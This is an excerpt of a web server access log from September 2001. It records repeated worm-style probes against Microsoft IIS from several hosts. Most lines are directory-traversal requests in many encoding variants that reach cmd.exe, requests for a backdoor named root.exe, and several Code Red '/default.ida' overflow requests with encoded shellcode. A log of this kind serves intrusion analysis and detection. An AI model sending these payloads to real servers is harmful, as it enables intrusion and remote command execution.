  12445. 20010920 00:49:50:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12446. 20010920 00:50:08:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12447. 20010920 00:50:26:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12448. 20010920 00:50:45: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12449. 20010920 00:51:35:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12450. 20010920 00:57:26:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12451. 20010920 00:57:44:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12452. 20010920 00:58:02:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12453. 20010920 00:58:20:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12454. 20010920 00:58:38:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12455. 20010920 00:58:57:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12456. 20010920 00:59:15:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12457. 20010920 00:59:33:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12458. 20010920 00:59:51:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12459. 20010920 01:00:09:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12460. 20010920 01:00:27:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12461. 20010920 01:00:46:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12462. 20010920 01:01:04:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12463. 20010920 01:01:22:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12464. 20010920 01:01:40:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12465. 20010920 01:01:58:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12466. 20010920 01:02:16:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12467. 20010920 01:02:35:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12468. 20010920 01:02:53:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12469. 20010920 01:03:11:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12470. 20010920 01:03:29:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12471. 20010920 01:03:48:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12472. 20010920 01:04:06:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12473. 20010920 01:04:24:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12474. 20010920 01:04:43:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12475. 20010920 01:05:01:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12476. 20010920 01:05:19:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12477. 20010920 01:05:37:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12478. 20010920 01:05:57:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12479. 20010920 01:06:19:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12480. 20010920 01:06:37:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12481. 20010920 01:06:55:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12482. 20010920 01:12:26:  [128.97.73.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12483. 20010920 01:12:44:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12484. 20010920 01:13:02:  [128.97.73.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12485. 20010920 01:13:20:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12486. 20010920 01:13:38:  [128.97.73.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12487. 20010920 01:13:57:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12488. 20010920 01:14:15:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12489. 20010920 01:14:33:  [128.97.73.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12490. 20010920 01:14:51:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12491. 20010920 01:15:09:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12492. 20010920 01:15:27:  [128.97.73.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12493. 20010920 01:15:46:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12494. 20010920 01:16:04:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12495. 20010920 01:16:22:  [128.97.73.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12496. 20010920 01:16:40:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12497. 20010920 01:16:58:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12498. 20010920 01:17:17:  [128.97.73.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12499. 20010920 01:17:35:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12500. 20010920 01:17:53:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12501. 20010920 01:18:11:  [128.97.73.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12502. 20010920 01:18:29:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12503. 20010920 01:18:47:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12504. 20010920 01:19:06:  [128.97.73.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12505. 20010920 01:19:24:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12506. 20010920 01:19:42:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12507. 20010920 01:20:00:  [128.97.73.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12508. 20010920 01:20:18:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12509. 20010920 01:20:36:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12510. 20010920 01:20:55:  [128.97.73.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12511. 20010920 01:21:13:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12512. 20010920 01:21:31:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12513. 20010920 01:21:49:  [128.97.73.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12514. 20010920 01:22:07:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12515. 20010920 01:22:26:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12516. 20010920 01:22:44:  [128.97.73.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12517. 20010920 01:23:02:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12518. 20010920 01:23:20:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12519. 20010920 01:23:38:  [128.97.73.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12520. 20010920 01:23:56:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12521. 20010920 01:24:15:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12522. 20010920 01:24:33:  [128.97.73.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12523. 20010920 01:24:51:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12524. 20010920 01:25:09:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12525. 20010920 01:25:27:  [128.97.73.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12526. 20010920 01:25:45:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12527. 20010920 01:26:04:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12528. 20010920 01:26:22:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12529. 20010920 01:26:40: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12530. 20010920 01:30:57:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12531. 20010920 01:49:37:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12532. 20010920 01:49:55:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12533. 20010920 01:50:13:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12534. 20010920 01:50:31:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12535. 20010920 01:50:49:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12536. 20010920 01:51:08:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12537. 20010920 01:51:26:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12538. 20010920 01:51:44:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12539. 20010920 01:52:02:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12540. 20010920 01:52:20:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12541. 20010920 01:52:38:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12542. 20010920 01:52:57:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12543. 20010920 01:53:15:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12544. 20010920 01:53:33:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12545. 20010920 01:53:51:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12546. 20010920 01:54:09:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12547. 20010920 02:03:37:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12548. 20010920 02:03:55:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12549. 20010920 02:04:13:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12550. 20010920 02:04:31:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12551. 20010920 02:04:50:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12552. 20010920 02:05:08:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12553. 20010920 02:05:26:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12554. 20010920 02:05:44:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12555. 20010920 02:06:02:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12556. 20010920 02:06:20:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12557. 20010920 02:06:39:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12558. 20010920 02:06:57:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12559. 20010920 02:07:15:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12560. 20010920 02:07:33:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12561. 20010920 02:07:51:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12562. 20010920 02:08:10:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12563. 20010920 02:08:28:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12564. 20010920 02:08:46:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12565. 20010920 02:09:04:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12566. 20010920 02:09:22:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12567. 20010920 02:09:40:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12568. 20010920 02:09:59:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12569. 20010920 02:10:17:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12570. 20010920 02:10:35:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12571. 20010920 02:10:53:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12572. 20010920 02:11:11:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12573. 20010920 02:11:30:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12574. 20010920 02:11:48:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12575. 20010920 02:12:06:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12576. 20010920 02:12:24:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12577. 20010920 02:12:42:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12578. 20010920 02:13:00:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12579. 20010920 02:33:24:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12580. 20010920 02:33:42:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12581. 20010920 02:34:01:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12582. 20010920 02:34:19:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12583. 20010920 02:34:37:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12584. 20010920 02:34:55:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12585. 20010920 02:35:13:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12586. 20010920 02:35:32:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12587. 20010920 02:35:50:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12588. 20010920 02:36:08:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12589. 20010920 02:36:26:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12590. 20010920 02:36:44:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12591. 20010920 02:37:02:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12592. 20010920 02:37:21:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12593. 20010920 02:37:39:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12594. 20010920 02:37:57: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12595. 20010920 02:40:22: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12596. 20010920 02:47:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12597. 20010920 02:49:09: me216006.reshsg.uci.edu [128.195.216.6] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12598. 20010920 03:02:15:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12599. 20010920 03:09:01:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12600. 20010920 03:09:19:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12601. 20010920 03:09:37:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12602. 20010920 03:09:56:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12603. 20010920 03:10:14:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12604. 20010920 03:10:32:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12605. 20010920 03:10:50:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12606. 20010920 03:11:08:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12607. 20010920 03:11:27:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12608. 20010920 03:11:45:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12609. 20010920 03:12:03:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12610. 20010920 03:12:21:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12611. 20010920 03:12:39:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12612. 20010920 03:12:57:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12613. 20010920 03:13:16:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12614. 20010920 03:13:34: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12615. 20010920 03:15:33: 66-65-1-234.nyc.rr.com [66.65.1.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12616. 20010920 03:20:18:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12617. 20010920 03:32:13:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12618. 20010920 03:32:31:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12619. 20010920 03:32:49:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12620. 20010920 03:33:07:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12621. 20010920 03:33:26:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12622. 20010920 03:33:44:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12623. 20010920 03:34:02:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12624. 20010920 03:34:20:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12625. 20010920 03:34:38:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
